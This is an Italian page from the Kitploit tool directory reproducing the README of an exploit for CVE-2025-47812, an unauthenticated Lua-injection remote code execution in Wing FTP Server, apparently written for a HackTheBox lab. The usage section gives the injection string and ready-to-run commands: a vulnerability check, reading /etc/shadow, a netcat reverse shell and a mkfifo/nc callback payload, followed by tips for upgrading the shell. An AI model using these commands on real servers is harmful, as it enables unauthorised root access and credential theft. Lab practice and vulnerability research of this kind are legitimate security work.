Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-47812 — CVE-2025-47812 Poc per wingdata HTB | Kitploit
Strumenti/GitHubGitHub/0xs4n4tg/cve-2025-47812
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneRed TeamingSviluppo Payload
GitHub0xs4n4tg/cve-2025-47812

CVE-2025-47812

CVE-2025-47812 Poc per wingdata HTB

Vedi Repository
14 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-47812 — Wing FTP Server RCE non autenticato (riscrittura)

Exploit Python per la RCE tramite injection Lua non autenticata in Wing FTP Server ≤ 7.4.3. Progettato per la consegna di shell — un comando da check a un callback netcat funzionante.

Scritto qualche tempo fa per il lab wingData su HTB e ora reso open-source. Usalo solo contro sistemi di tua proprietà o per i quali hai ricevuto autorizzazione scritta per il test.

Credits

  • Vulnerability research: Julien (@MrTuxracer) — What the NULL?! Wing FTP Server RCE (CVE-2025-47812)
  • Original PoC: @4m3rr0r — github.com/4m3rr0r/CVE-2025-47812-poc
  • Questo repository: una riscrittura del PoC sopra, leggermente più funzionale e più facile da usare.

Riepilogo della vulnerabilità

La funzione c_CheckUser() di Wing FTP tronca lo username al primo byte NULL per l'autenticazione, ma il percorso di creazione della sessione scrive lo username completo non sanificato in un file di sessione Lua. Inietta anonymous%00]]<lua>-- e il server scrive felicemente il tuo Lua nella sessione. Colpire qualsiasi endpoint autenticato (dir.html funziona) carica quel file di sessione tramite loadfile() → f(), eseguendo il codice iniettato come root/SYSTEM.

Affetto: Wing FTP Server ≤ 7.4.3. Risolto in 7.4.4.

Installazione

pip install requests

Tutto qui — nessun'altra dipendenza.

Utilizzo

# 1. Confirm the target is vulnerable (runs `id` and checks for `uid=`)
python3 exploit.py -u http://target:5466/ check

# 2. One-off command — captures stdout AND stderr
python3 exploit.py -u http://target:5466/ exec "id"
python3 exploit.py -u http://target:5466/ exec "cat /etc/shadow"
python3 exploit.py -u http://target:5466/ exec "find / -perm -4000 2>/dev/null"

# 3. Reverse shell (the easy path)
#    Terminal 1:
nc -lvnp 4444
#    Terminal 2:
python3 exploit.py -u http://target:5466/ shell 10.10.14.5 4444

# 4. Detached arbitrary payload — fire-and-forget. Useful when bash is missing:
python3 exploit.py -u http://target:5466/ detached \
  "rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.5 4444 >/tmp/f"

Flag

FlagDefaultScopo
-u, --urlobbligatorioURL di base del target — Wing FTP ascolta solitamente sulla porta :5466 (HTTP) o :5467 (HTTPS).
-U, --usernameanonymousUsername prima del byte NULL. Anonimo funziona su installazioni predefinite.
-P, --passwordvuotoPassword per la POST di injection. Vuota va bene per anonimo.
-v, --verbosedisattivatoMostra il payload Lua, gli URL contattati e il corpo della risposta grezzo.

Consigli

  • Verifica prima la porta. L'interfaccia web non è sulla 80 di default — prova http://target:5466/login.html in un browser prima di presumere che l'URL sia sbagliato.
  • Se la modalità shell non riesce a stabilire un callback, usa come ripiego detached con il payload mkfifo sopra. Alcune immagini Linux minime non includono bash.
  • Una volta ottenuta la shell, potenziala:
    python3 -c 'import pty;pty.spawn("/bin/bash")'
    # Ctrl+Z
    stty raw -echo; fg
    # Invio, Invio
    export TERM=xterm
    

Dichiarazione di non responsabilità

Solo per uso educativo e test di sicurezza autorizzati. Sei responsabile dei target verso cui punti questo strumento.

Licenza

MIT — vedi LICENSE.

Scarica lo strumento